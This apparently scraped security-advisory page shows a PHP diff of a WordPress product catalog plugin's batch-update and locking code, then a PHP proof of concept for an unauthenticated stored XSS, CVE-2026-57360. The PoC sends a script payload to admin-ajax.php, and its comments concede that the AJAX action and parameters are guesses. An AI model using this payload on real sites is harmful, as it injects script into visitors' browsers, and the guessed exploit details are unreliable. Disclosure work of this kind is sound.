-			if ( version_compare( $first_version, '2.4.0' ) < 0 && version_compare( $database_plugin_version, '2.4.0' ) < 0 ) {
-				$archive_multiple_settings            = get_multiple_settings();
-				$archive_multiple_settings['related'] = 'categories';
-				update_option( 'archive_multiple_settings', $archive_multiple_settings );
-				update_option( 'old_sort_bar', 1 );
-			}
-			if ( version_compare( $first_version, '2.4.15' ) < 0 && version_compare( $database_plugin_version, '2.4.15' ) < 0 ) {
-				save_default_multiple_settings();
-			}
-			if ( version_compare( $first_version, '2.4.16' ) < 0 && version_compare( $database_plugin_version, '2.4.16' ) < 0 ) {
-				$single_names         = get_single_names();
-				$single_names['free'] = '';
-				update_option( 'single_names', $single_names );
-				ic_save_global( 'single_names', $single_names );
-			}
-			if ( version_compare( $first_version, '2.4.21' ) < 0 && version_compare( $database_plugin_version, '2.4.21' ) < 0 ) {
-				if ( false !== get_transient( 'implecode_hide_plugin_review_info' ) ) {
-					set_site_transient( 'implecode_hide_plugin_review_info', 1 );
-				}
-				if ( false !== get_transient( 'implecode_hide_plugin_translation_info' ) ) {
-					set_site_transient( 'implecode_hide_plugin_translation_info', 1 );
-				}
-			}
-			if ( version_compare( $first_version, '2.4.25' ) < 0 && version_compare( $database_plugin_version, '2.4.25' ) < 0 ) {
-				if ( function_exists( 'ic_reassign_all_products_attributes' ) ) {
-					ic_reassign_all_products_attributes();
-				}
-			}
-			if ( version_compare( $first_version, '2.5.0' ) < 0 && version_compare( $database_plugin_version, '2.5.0' ) < 0 ) {
-				$single_options                           = get_product_page_settings();
-				$single_options['template']               = 'plain';
-				$single_options['enable_product_gallery'] = 1;
-				update_option( 'multi_single_options', $single_options );
-			}
-			if ( version_compare( $first_version, '2.6.0' ) < 0 && version_compare( $database_plugin_version, '2.6.0' ) < 0 ) {
-				ic_add_catalog_manager_role();
-			}
-			if ( version_compare( $first_version, '2.7.18' ) < 0 && version_compare( $database_plugin_version, '2.7.18' ) < 0 ) {
-				permalink_options_update();
-			}
-			if ( version_compare( $first_version, '3.0.1' ) < 0 && version_compare( $database_plugin_version, '3.0.1' ) < 0 ) {
-				permalink_options_update();
-			}
-			if ( version_compare( $first_version, '3.0.45' ) < 0 && version_compare( $database_plugin_version, '3.0.45' ) < 0 ) {
-				wp_schedule_single_event( time(), 'ic_scheduled_hidden_data_processing' );
-			}
-			if ( version_compare( $first_version, '3.3.27' ) < 0 && version_compare( $database_plugin_version, '3.3.27' ) < 0 ) {
-				$csv_temp   = wp_upload_dir( null, false );
-				$csv_folder = $csv_temp['basedir'];
-				if ( file_exists( $csv_folder . '/simple-products.csv' ) ) {
-					wp_delete_file( $csv_folder . '/simple-products.csv' );
-				}
-				if ( file_exists( $csv_folder . '/products_product.csv' ) ) {
-					wp_delete_file( $csv_folder . '/products_product.csv' );
-				}
-				$product_catalogs = get_post_types( array( 'capability_type' => 'product' ) );
-				foreach ( $product_catalogs as $product_catalog ) {
-					if ( file_exists( $csv_folder . '/products_' . $product_catalog . '.csv' ) ) {
-						wp_delete_file( $csv_folder . '/products_' . $product_catalog . '.csv' );
-					}
-				}
-			}
-		} elseif ( ! get_option( 'ecommerce_product_catalog_ver' ) ) {
-			update_option( 'ecommerce_product_catalog_ver', $plugin_version, false );
-		}
-	}
-}
-
-add_action( 'ic_update_product_data', 'ic_update_product_data' );
-add_action( 'ic_update_product_data_frozen', 'ic_update_product_data' );
-
-/**
- * Schedules or runs the product meta update process.
- *
- * @return string|void
- */
-function ic_update_product_data() {
-	$start_time       = microtime( true );
-	$option_name      = 'ic_update_product_data_done';
-	$hook_name        = 'ic_update_product_data';
-	$frozen_hook_name = $hook_name . '_frozen';
-	$done             = get_option( $option_name, 0 );
-
-	if ( empty( $done ) || ! wp_doing_cron() ) {
-		if ( ! get_transient( $option_name ) && current_filter() !== $frozen_hook_name ) {
-			if ( empty( $done ) ) {
-				update_option( $option_name, - 1 );
-			}
-			wp_schedule_single_event( time(), $hook_name );
-		} else {
-			return __( 'Just Finished! Wait 10 minutes before restarting.', 'ecommerce-product-catalog' );
-		}
-
-		return '';
-	}
-	if ( ! wp_next_scheduled( $frozen_hook_name ) ) {
-		wp_schedule_event( time() + ( 3 * HOUR_IN_SECONDS ), 'hourly', $frozen_hook_name );
-	}
-	if ( ! function_exists( 'get_all_catalog_products' ) ) {
-		wp_clear_scheduled_hook( $hook_name );
-		wp_clear_scheduled_hook( $frozen_hook_name );
-
-		return '';
-	}
-	if ( $done < 0 ) {
-		$done = 0;
-	}
-	if ( get_transient( 'ic_doing_update_product_data_loop' ) ) {
-		wp_schedule_single_event( time() + MINUTE_IN_SECONDS, $hook_name );
-
-		return;
-	}
-	if ( empty( $done ) ) {
-		do_action( 'ic_product_data_reassignment_start' );
-	}
-	set_transient( 'ic_doing_update_product_data_loop', $done, MINUTE_IN_SECONDS * 15 );
-	wp_defer_term_counting( true );
-	$done = ic_update_product_data_loop( $done, $start_time, $option_name );
-	wp_defer_term_counting( false );
-	if ( 'done' !== $done ) {
-		update_option( $option_name, $done );
-		wp_schedule_single_event( time(), $hook_name );
-	} else {
-		delete_option( $option_name );
-		wp_clear_scheduled_hook( $hook_name );
-		wp_clear_scheduled_hook( $frozen_hook_name );
-		set_transient( $option_name, 1, MINUTE_IN_SECONDS * 10 );
-		do_action( 'ic_product_data_reassignment_done' );
-	}
-	delete_transient( 'ic_doing_update_product_data_loop' );
-}
-
-/**
- * Returns true when the generic product-data updater is active.
- *
- * This checks for both an active loop transient and the persisted progress
- * option, because the option may temporarily be set to `0` while the updater
- * is still running.
- *
- * @return bool
- */
-function ic_update_product_data_is_active() {
-	return false !== get_option( 'ic_update_product_data_done', false ) || (bool) get_transient( 'ic_doing_update_product_data_loop' );
-}
-
-/**
- * Returns true when a queued default value should overwrite product meta.
- *
- * Empty strings are treated as empty, but `'0'` remains a valid overwrite value.
- *
- * @param mixed $value Candidate default value.
- *
- * @return bool
- */
-function ic_epc_sync_default_has_value( $value ) {
-	if ( is_array( $value ) ) {
-		return ! empty( $value );
-	}
-
-	return '' !== $value && null !== $value;
-}
-
-/**
- * Normalizes selected sync actions against the allowed action list.
- *
- * @param array|string $actions Requested action or actions.
- * @param array        $allowed_actions Allowed action keys.
- *
- * @return array
- */
-function ic_epc_normalize_sync_actions( $actions, $allowed_actions ) {
-	if ( ! is_array( $actions ) ) {
-		$actions = array( $actions );
-	}
-
-	$normalized = array();
-	foreach ( $actions as $action ) {
-		$action = sanitize_key( $action );
-		if ( in_array( $action, $allowed_actions, true ) && ! in_array( $action, $normalized, true ) ) {
-			$normalized[] = $action;
-		}
-	}
-
-	return $normalized;
-}
-
-/**
- * Updates product meta in batches.
- *
- * @param int|string $done             Number of processed products or completion marker.
- * @param float      $start_time       Batch start timestamp.
- * @param string     $done_option_name Option name storing progress.
- * @return int|string
- */
-function ic_update_product_data_loop( $done, $start_time = 0, $done_option_name = '' ) {
-	if ( empty( $start_time ) ) {
-		$start_time = microtime( true );
-	}
-	$safe_max_time = ic_get_safe_time();
-	$products      = get_all_catalog_products( 'date', 'ASC', 300, $done, apply_filters( 'ic_update_product_data_product_args', array() ) );
-	foreach ( $products as $post ) {
-		ic_update_product_data_post( $post );
-		++$done;
-		clean_post_cache( $post );
-		$time_elapsed_secs = microtime( true ) - $start_time;
-		if ( $time_elapsed_secs > $safe_max_time ) {
-			break;
-		}
-	}
-	if ( empty( $products ) ) {
-
-		return 'done';
-	}
-	$time_elapsed_secs = microtime( true ) - $start_time;
-
-	if ( $time_elapsed_secs < $safe_max_time && ! ic_is_reaching_memory_limit() ) {
-		if ( ! empty( $done_option_name ) ) {
-			update_option( $done_option_name, $done );
-		}
-		set_transient( 'ic_doing_update_product_data_loop', $done, MINUTE_IN_SECONDS * 15 );
-
-		return ic_update_product_data_loop( $done, $start_time, $done_option_name );
-	}
-
-	return $done;
-}
-
-/**
- * Checks whether a product meta key is safe for the batch updater.
- *
- * @param mixed $meta_key Candidate meta key.
- * @return bool
- */
-function ic_update_product_data_is_valid_meta_key( $meta_key ) {
-	return is_string( $meta_key ) && '' !== $meta_key && preg_match( '/^[A-Za-z0-9_-]+$/', $meta_key );
-}
-
-/**
- * Checks whether a product meta value can be safely written by the batch updater.
- *
- * @param mixed $value Candidate meta value.
- * @return bool
- */
-function ic_update_product_data_is_valid_meta_value( $value ) {
-	if ( is_scalar( $value ) || null === $value ) {
-		return true;
-	}
-
-	if ( ! is_array( $value ) ) {
-		return false;
-	}
-
-	foreach ( $value as $nested_value ) {
-		if ( ! ic_update_product_data_is_valid_meta_value( $nested_value ) ) {
-			return false;
-		}
-	}
-
-	return true;
-}
-
-/**
- * Keeps only allowed product meta changes returned by maintenance filters.
- *
- * @param mixed $filtered_meta Filtered meta candidate.
- * @param array $base_meta     Meta array before the maintenance filter.
- * @param array $allowed_keys  Meta keys allowed to be changed or added.
- * @return array
- */
-function ic_update_product_data_validate_filtered_meta( $filtered_meta, $base_meta, $allowed_keys ) {
-	if ( ! is_array( $filtered_meta ) ) {
-		return $base_meta;
-	}
-
-	if ( ! is_array( $allowed_keys ) ) {
-		$allowed_keys = array();
-	}
-	$allowed_keys = array_filter( array_unique( array_map( 'strval', $allowed_keys ) ), 'ic_update_product_data_is_valid_meta_key' );
-	$validated    = $base_meta;
-	foreach ( $filtered_meta as $key => $value ) {
-		if ( ! in_array( $key, $allowed_keys, true ) || ! ic_update_product_data_is_valid_meta_value( $value ) ) {
-			continue;
-		}
-
-		$validated[ $key ] = $value;
-	}
-
-	return $validated;
-}
-
-/**
- * Normalizes stored product meta for a single post.
- *
- * @param WP_Post $post Product post object.
- * @return void
- */
-function ic_update_product_data_post( $post ) {
-	$current_post_keys = get_post_custom_keys( $post->ID );
-	if ( empty( $current_post_keys ) ) {
-		return;
-	}
-	$product_meta = array();
-	foreach ( $current_post_keys as $meta_key ) {
-		$product_meta[ $meta_key ] = get_post_meta( $post->ID, $meta_key, true );
-	}
-	$new_product_meta = apply_filters( 'ic_product_meta_save_update_data', $product_meta );
-	if ( ! is_array( $new_product_meta ) ) {
-		$new_product_meta = $product_meta;
-	}
-	$allowed_meta_keys = apply_filters( 'ic_update_product_data_post_meta_allowed_keys', array_keys( $new_product_meta ), $post, $product_meta, $new_product_meta );
-	// Allow maintenance tasks to rewrite product meta during the batch updater only.
-	$filtered_product_meta = apply_filters( 'ic_update_product_data_post_meta', $new_product_meta, $post, $product_meta );
-	$new_product_meta      = ic_update_product_data_validate_filtered_meta( $filtered_product_meta, $new_product_meta, $allowed_meta_keys );
-	if ( $product_meta !== $new_product_meta ) {
-		foreach ( $new_product_meta as $key => $value ) {
-			if ( ! isset( $product_meta[ $key ] ) || $value !== $product_meta[ $key ] ) {
-				update_post_meta( $post->ID, $key, $value );
-			}
-		}
-	}
-	do_action( 'product_meta_save_update', $new_product_meta, $post );
-}
-
-/**
- * Returns a safe maximum runtime for long tasks.
- *
- * @param int $time_limit Requested execution time limit.
- * @return int
- */
-function ic_get_safe_time( $time_limit = 300 ) {
-	$safe_max_time = ic_get_global( 'safe_max_time' );
-	if ( false !== $safe_max_time ) {
-		return $safe_max_time;
-	}
-	$system_max_time = ini_get( 'max_execution_time' );
-	if ( $system_max_time < $time_limit ) {
-		ic_set_time_limit( $time_limit );
-	}
-	$max_time      = ini_get( 'max_execution_time' );
-	$safe_max_time = 25;
-
-	if ( $max_time ) {
-		$safe_max_time = $max_time > 45 ? $max_time - 15 : $safe_max_time;
-	}
-	ic_save_global( 'safe_max_time', $safe_max_time );
-
-	return $safe_max_time;
-}
-
-/**
- * Checks whether the current process is nearing the memory limit.
- *
- * @return bool
- */
-function ic_is_reaching_memory_limit() {
-	$current_usage = round( memory_get_usage( true ) * 1.15 );
-	$current_limit = ini_get( 'memory_limit' );
-	if ( false === $current_limit || '' === $current_limit ) {
-		return false;
-	}
-	$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
-	if ( $current_limit_int <= 0 ) {
-		return false;
-	}
-	if ( $current_usage > $current_limit_int ) {
-		return true;
-	}
-
-	return false;
-}
-
-/**
- * Raises the PHP memory limit once per request.
- *
- * @return void
- */
-function ic_raise_memory_limit() {
-	if ( ic_get_global( 'raised_memory_limit' ) ) {
-		return;
-	}
-	$current_limit = ini_get( 'memory_limit' );
-	if ( false !== $current_limit && -1 === wp_convert_hr_to_bytes( $current_limit ) ) {
-		ic_save_global( 'raised_memory_limit', 1 );
-
-		return;
-	}
-	wp_raise_memory_limit();
-	ic_save_global( 'raised_memory_limit', 1 );
-}
+			}
+			if ( version_compare( $first_version, '2.0.0' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
+				$archive_multiple_settings                         = get_multiple_settings();
+				$archive_multiple_settings['product_listing_cats'] = 'off';
+				$archive_multiple_settings['cat_template']         = 'link';
+				update_option( 'archive_multiple_settings', $archive_multiple_settings );
+			}
+			if ( version_compare( $first_version, '2.0.1' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
+				add_product_caps();
+			}
+			if ( version_compare( $first_version, '2.0.4' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
+				delete_transient( 'implecode_extensions_data' );
+			}
+			if ( version_compare( $first_version, '2.2.5' ) < 0 && version_compare( $database_plugin_version, '2.2.5' ) < 0 ) {
+				$archive_names = get_option( 'archive_names' );
+				if ( ! is_array( $archive_names ) ) {
+					$archive_names = array();
+				}
+				$archive_names['all_main_categories'] = '';
+				$archive_names['all_products']        = '';
+				$archive_names['all_subcategories']   = '';
+				update_option( 'archive_names', $archive_names );
+			}
+			if ( version_compare( $first_version, '2.3.6' ) < 0 && version_compare( $database_plugin_version, '2.3.6' ) < 0 ) {
+				$archive_multiple_settings                    = get_multiple_settings();
+				$archive_multiple_settings['default_sidebar'] = 1;
+				update_option( 'archive_multiple_settings', $archive_multiple_settings );
+			}
+			if ( version_compare( $first_version, '2.4.0' ) < 0 && version_compare( $database_plugin_version, '2.4.0' ) < 0 ) {
+				$archive_multiple_settings            = get_multiple_settings();
+				$archive_multiple_settings['related'] = 'categories';
+				update_option( 'archive_multiple_settings', $archive_multiple_settings );
+				update_option( 'old_sort_bar', 1 );
+			}
+			if ( version_compare( $first_version, '2.4.15' ) < 0 && version_compare( $database_plugin_version, '2.4.15' ) < 0 ) {
+				save_default_multiple_settings();
+			}
+			if ( version_compare( $first_version, '2.4.16' ) < 0 && version_compare( $database_plugin_version, '2.4.16' ) < 0 ) {
+				$single_names         = get_single_names();
+				$single_names['free'] = '';
+				update_option( 'single_names', $single_names );
+				ic_save_global( 'single_names', $single_names );
+			}
+			if ( version_compare( $first_version, '2.4.21' ) < 0 && version_compare( $database_plugin_version, '2.4.21' ) < 0 ) {
+				if ( false !== get_transient( 'implecode_hide_plugin_review_info' ) ) {
+					set_site_transient( 'implecode_hide_plugin_review_info', 1 );
+				}
+				if ( false !== get_transient( 'implecode_hide_plugin_translation_info' ) ) {
+					set_site_transient( 'implecode_hide_plugin_translation_info', 1 );
+				}
+			}
+			if ( version_compare( $first_version, '2.4.25' ) < 0 && version_compare( $database_plugin_version, '2.4.25' ) < 0 ) {
+				if ( function_exists( 'ic_reassign_all_products_attributes' ) ) {
+					ic_reassign_all_products_attributes();
+				}
+			}
+			if ( version_compare( $first_version, '2.5.0' ) < 0 && version_compare( $database_plugin_version, '2.5.0' ) < 0 ) {
+				$single_options                           = get_product_page_settings();
+				$single_options['template']               = 'plain';
+				$single_options['enable_product_gallery'] = 1;
+				update_option( 'multi_single_options', $single_options );
+			}
+			if ( version_compare( $first_version, '2.6.0' ) < 0 && version_compare( $database_plugin_version, '2.6.0' ) < 0 ) {
+				ic_add_catalog_manager_role();
+			}
+			if ( version_compare( $first_version, '2.7.18' ) < 0 && version_compare( $database_plugin_version, '2.7.18' ) < 0 ) {
+				permalink_options_update();
+			}
+			if ( version_compare( $first_version, '3.0.1' ) < 0 && version_compare( $database_plugin_version, '3.0.1' ) < 0 ) {
+				permalink_options_update();
+			}
+			if ( version_compare( $first_version, '3.0.45' ) < 0 && version_compare( $database_plugin_version, '3.0.45' ) < 0 ) {
+				wp_schedule_single_event( time(), 'ic_scheduled_hidden_data_processing' );
+			}
+			if ( version_compare( $first_version, '3.3.27' ) < 0 && version_compare( $database_plugin_version, '3.3.27' ) < 0 ) {
+				$csv_temp   = wp_upload_dir( null, false );
+				$csv_folder = $csv_temp['basedir'];
+				if ( file_exists( $csv_folder . '/simple-products.csv' ) ) {
+					wp_delete_file( $csv_folder . '/simple-products.csv' );
+				}
+				if ( file_exists( $csv_folder . '/products_product.csv' ) ) {
+					wp_delete_file( $csv_folder . '/products_product.csv' );
+				}
+				$product_catalogs = get_post_types( array( 'capability_type' => 'product' ) );
+				foreach ( $product_catalogs as $product_catalog ) {
+					if ( file_exists( $csv_folder . '/products_' . $product_catalog . '.csv' ) ) {
+						wp_delete_file( $csv_folder . '/products_' . $product_catalog . '.csv' );
+					}
+				}
+			}
+		} elseif ( ! get_option( 'ecommerce_product_catalog_ver' ) ) {
+			update_option( 'ecommerce_product_catalog_ver', $plugin_version, false );
+		}
+	}
+}
+
+add_action( 'ic_update_product_data', 'ic_update_product_data' );
+add_action( 'ic_update_product_data_frozen', 'ic_update_product_data_watchdog' );
+add_action( 'ic_product_data_reassignment_done', 'ic_update_product_data_clear_scope' );
+
+/**
+ * Schedules or runs the product meta update process.
+ *
+ * @return string|void
+ */
+function ic_update_product_data() {
+	$start_time       = microtime( true );
+	$option_name      = 'ic_update_product_data_done';
+	$hook_name        = 'ic_update_product_data';
+	$frozen_hook_name = $hook_name . '_frozen';
+	$done             = get_option( $option_name, 0 );
+	$scope_option     = ic_update_product_data_scope_option_name();
+
+	if ( ! wp_doing_cron() ) {
+		ic_update_product_data_clear_stale_lock();
+		if ( empty( $done ) ) {
+			if ( get_transient( $option_name ) ) {
+				return __( 'Just Finished! Wait 10 minutes before restarting.', 'ecommerce-product-catalog' );
+			}
+			update_option( $option_name, - 1 );
+			ic_update_product_data_save_scope( ic_update_product_data_requested_scope() );
+			ic_update_product_data_schedule();
+
+			return '';
+		}
+
+		if ( false === get_option( $scope_option, false ) ) {
+			ic_update_product_data_save_scope( ic_update_product_data_requested_scope() );
+		}
+		if ( ic_update_product_data_has_lock() ) {
+			return __( 'Product data reassignment is already running.', 'ecommerce-product-catalog' );
+		}
+		if ( wp_next_scheduled( $hook_name ) ) {
+			return __( 'Product data reassignment is already scheduled.', 'ecommerce-product-catalog' );
+		}
+		ic_update_product_data_schedule();
+
+		return '';
+	}
+	if ( empty( $done ) ) {
+		if ( ! get_transient( $option_name ) ) {
+			return __( 'Just Finished! Wait 10 minutes before restarting.', 'ecommerce-product-catalog' );
+		}
+
+		return;
+	}
+	if ( ! wp_next_scheduled( $frozen_hook_name ) ) {
+		wp_schedule_event( time() + ( 3 * HOUR_IN_SECONDS ), 'hourly', $frozen_hook_name );
+	}
+	if ( ! function_exists( 'get_all_catalog_products' ) ) {
+		wp_clear_scheduled_hook( $hook_name );
+		wp_clear_scheduled_hook( $frozen_hook_name );
+		ic_update_product_data_release_lock();
+
+		return '';
+	}
+	if ( $done < 0 ) {
+		$done = 0;
+	}
+	if ( false === get_option( $scope_option, false ) ) {
+		ic_update_product_data_save_scope( 'publish' );
+	}
+	$lock_token = ic_update_product_data_acquire_lock( $done );
+	if ( empty( $lock_token ) ) {
+		if ( ! wp_next_scheduled( $hook_name ) ) {
+			ic_update_product_data_schedule( MINUTE_IN_SECONDS );
+		}
+
+		return;
+	}
+	if ( empty( $done ) ) {
+		do_action( 'ic_product_data_reassignment_start' );
+	}
+	set_transient( 'ic_doing_update_product_data_loop', $done, MINUTE_IN_SECONDS * 15 );
+	ic_update_product_data_refresh_lock( $lock_token, $done );
+	wp_defer_term_counting( true );
+	$done = ic_update_product_data_loop( $done, $start_time, $option_name, $lock_token );
+	wp_defer_term_counting( false );
+	delete_transient( 'ic_doing_update_product_data_loop' );
+	if ( 'stopped' === $done ) {
+		ic_update_product_data_release_lock( $lock_token );
+
+		return;
+	}
+	if ( 'done' !== $done ) {
+		if ( ic_update_product_data_is_lock_owner( $lock_token ) ) {
+			update_option( $option_name, $done );
+			ic_update_product_data_refresh_lock( $lock_token, $done );
+			ic_update_product_data_schedule();
+		}
+		ic_update_product_data_release_lock( $lock_token );
+	} else {
+		if ( ic_update_product_data_is_lock_owner( $lock_token ) ) {
+			delete_option( $option_name );
+			wp_clear_scheduled_hook( $hook_name );
+			wp_clear_scheduled_hook( $frozen_hook_name );
+			set_transient( $option_name, 1, MINUTE_IN_SECONDS * 10 );
+			ic_update_product_data_release_lock( $lock_token );
+			do_action( 'ic_product_data_reassignment_done' );
+		} else {
+			ic_update_product_data_release_lock( $lock_token );
+		}
+	}
+}
+
+/**
+ * Reschedules the reassignment worker when a batch appears stalled.
+ *
+ * @return void
+ */
+function ic_update_product_data_watchdog() {
+	$hook_name = 'ic_update_product_data';
+
+	if ( ! ic_update_product_data_is_active() ) {
+		wp_clear_scheduled_hook( $hook_name . '_frozen' );
+
+		return;
+	}
+	ic_update_product_data_clear_stale_lock();
+	if ( ! ic_update_product_data_has_lock() && ! wp_next_scheduled( $hook_name ) ) {
+		ic_update_product_data_schedule();
+	}
+}
+
+/**
+ * Schedules the reassignment worker if it is not already queued.
+ *
+ * @param int $delay Delay in seconds.
+ * @return void
+ */
+function ic_update_product_data_schedule( $delay = 0 ) {
+	if ( ! wp_next_scheduled( 'ic_update_product_data' ) ) {
+		wp_schedule_single_event( time() + absint( $delay ), 'ic_update_product_data' );
+	}
+}
+
+/**
+ * Returns the reassignment lock option name.
+ *
+ * @return string
+ */
+function ic_update_product_data_lock_option_name() {
+	return 'ic_update_product_data_lock';
+}
+
+/**
+ * Returns the reassignment lock expiration in seconds.
+ *
+ * @return int
+ */
+function ic_update_product_data_lock_ttl() {
+	return MINUTE_IN_SECONDS * 20;
+}
+
+/**
+ * Returns the normalized reassignment worker lock payload.
+ *
+ * @param mixed $lock Raw lock value.
+ * @return array
+ */
+function ic_update_product_data_normalize_lock( $lock ) {
+	if ( ! is_array( $lock ) || empty( $lock['token'] ) || empty( $lock['timestamp'] ) ) {
+		return array();
+	}
+
+	return array(
+		'token'     => sanitize_text_field( (string) $lock['token'] ),
+		'timestamp' => absint( $lock['timestamp'] ),
+		'done'      => isset( $lock['done'] ) ? intval( $lock['done'] ) : 0,
+	);
+}
+
+/**
+ * Returns the current reassignment worker lock.
+ *
+ * @return array
+ */
+function ic_update_product_data_get_lock() {
+	return ic_update_product_data_normalize_lock( get_option( ic_update_product_data_lock_option_name(), array() ) );
+}
+
+/**
+ * Returns true when the given lock has expired.
+ *
+ * @param array $lock Lock payload.
+ * @return bool
+ */
+function ic_update_product_data_is_stale_lock( $lock ) {
+	return ! empty( $lock ) && ( time() - absint( $lock['timestamp'] ) ) > ic_update_product_data_lock_ttl();
+}
+
+/**
+ * Clears the reassignment lock if it is stale.
+ *
+ * @return bool
+ */
+function ic_update_product_data_clear_stale_lock() {
+	$lock = ic_update_product_data_get_lock();
+	if ( ic_update_product_data_is_stale_lock( $lock ) ) {
+		delete_option( ic_update_product_data_lock_option_name() );
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Returns true when the reassignment worker lock exists.
+ *
+ * @return bool
+ */
+function ic_update_product_data_has_lock() {
+	$lock = ic_update_product_data_get_lock();
+	if ( ic_update_product_data_is_stale_lock( $lock ) ) {
+		delete_option( ic_update_product_data_lock_option_name() );
+
+		return false;
+	}
+
+	return ! empty( $lock );
+}
+
+/**
+ * Acquires the reassignment worker lock.
+ *
+ * @param int $done Current progress counter.
+ * @return string
+ */
+function ic_update_product_data_acquire_lock( $done = 0 ) {
+	$token       = wp_generate_uuid4();
+	$option_name = ic_update_product_data_lock_option_name();
+	$lock        = array(
+		'token'     => $token,
+		'timestamp' => time(),
+		'done'      => intval( $done ),
+	);
+
+	if ( add_option( $option_name, $lock, '', 'no' ) ) {
+		return $token;
+	}
+	if ( ic_update_product_data_clear_stale_lock() && add_option( $option_name, $lock, '', 'no' ) ) {
+		return $token;
+	}
+
+	return '';
+}
+
+/**
+ * Returns true when the current worker owns the reassignment lock.
+ *
+ * @param string $token Worker token.
+ * @return bool
+ */
+function ic_update_product_data_is_lock_owner( $token ) {
+	$lock = ic_update_product_data_get_lock();
+
+	return ! empty( $token ) && ! empty( $lock ) && ! ic_update_product_data_is_stale_lock( $lock ) && $lock['token'] === $token;
+}
+
+/**
+ * Refreshes the reassignment worker lock heartbeat.
+ *
+ * @param string $token Worker token.
+ * @param int    $done  Current progress counter.
+ * @return bool
+ */
+function ic_update_product_data_refresh_lock( $token, $done = 0 ) {
+	if ( ! ic_update_product_data_is_lock_owner( $token ) ) {
+		return false;
+	}
+	update_option(
+		ic_update_product_data_lock_option_name(),
+		array(
+			'token'     => $token,
+			'timestamp' => time(),
+			'done'      => intval( $done ),
+		),
+		false
+	);
+
+	return true;
+}
+
+/**
+ * Releases the reassignment worker lock.
+ *
+ * @param string $token Worker token.
+ * @return bool
+ */
+function ic_update_product_data_release_lock( $token = '' ) {
+	if ( empty( $token ) ) {
+		delete_option( ic_update_product_data_lock_option_name() );
+
+		return true;
+	}
+	if ( ! ic_update_product_data_is_lock_owner( $token ) ) {
+		return false;
+	}
+	delete_option( ic_update_product_data_lock_option_name() );
+
+	return true;
+}
+
+/**
+ * Stops the product data reassignment job and clears its state.
+ *
+ * @return string
+ */
+function ic_stop_update_product_data() {
+	$option_name      = 'ic_update_product_data_done';
+	$hook_name        = 'ic_update_product_data';
+	$frozen_hook_name = $hook_name . '_frozen';
+
+	wp_clear_scheduled_hook( $hook_name );
+	wp_clear_scheduled_hook( $frozen_hook_name );
+	delete_option( $option_name );
+	ic_update_product_data_release_lock();
+	delete_transient( 'ic_doing_update_product_data_loop' );
+	delete_transient( $option_name );
+	do_action( 'ic_product_data_reassignment_done' );
+
+	return __( 'Product data reassignment stopped.', 'ecom

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57360 - eCommerce Product Catalog Plugin for WordPress <= 3.5.4 - Unauthenticated Stored Cross-Site Scripting

// Configure target WordPress site
$target_url = 'http://example.com';  // Replace with the target WordPress URL

// The vulnerable parameter is likely a product field that stores user input without sanitization
// This PoC targets the product submission endpoint (adjust based on actual vulnerable parameter)

// Step 1: Prepare the XSS payload
$xss_payload = '<script>alert("CVE-2026-57360 XSS")</script>';

// Step 2: Determine the vulnerable endpoint
// The plugin may use AJAX actions like 'ic_add_product' or similar
// Common endpoints include /wp-admin/admin-ajax.php with specific actions

// Example payload targeting a product attribute (adjust parameter name based on real vulnerability)
$post_data = array(
    'action' => 'ic_add_product',  // Hypothetical AJAX action
    '_wpnonce' => '',  // No nonce required - vulnerability bypasses this
    'product_name' => $xss_payload,
    'product_description' => 'Test product description'
);

// Step 3: Send the payload to the vulnerable endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Check if the payload was stored (verify by accessing the product page)
echo "[+] Sent XSS payload to {$target_url}/wp-admin/admin-ajax.phpn";
echo "[+] HTTP Response Code: $http_coden";
if ($http_code == 200) {
    echo "[+] Payload may have been stored. Visit the product page to verify execution.n";
} else {
    echo "[-] Request failed. Try different endpoint or adjust parameters.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School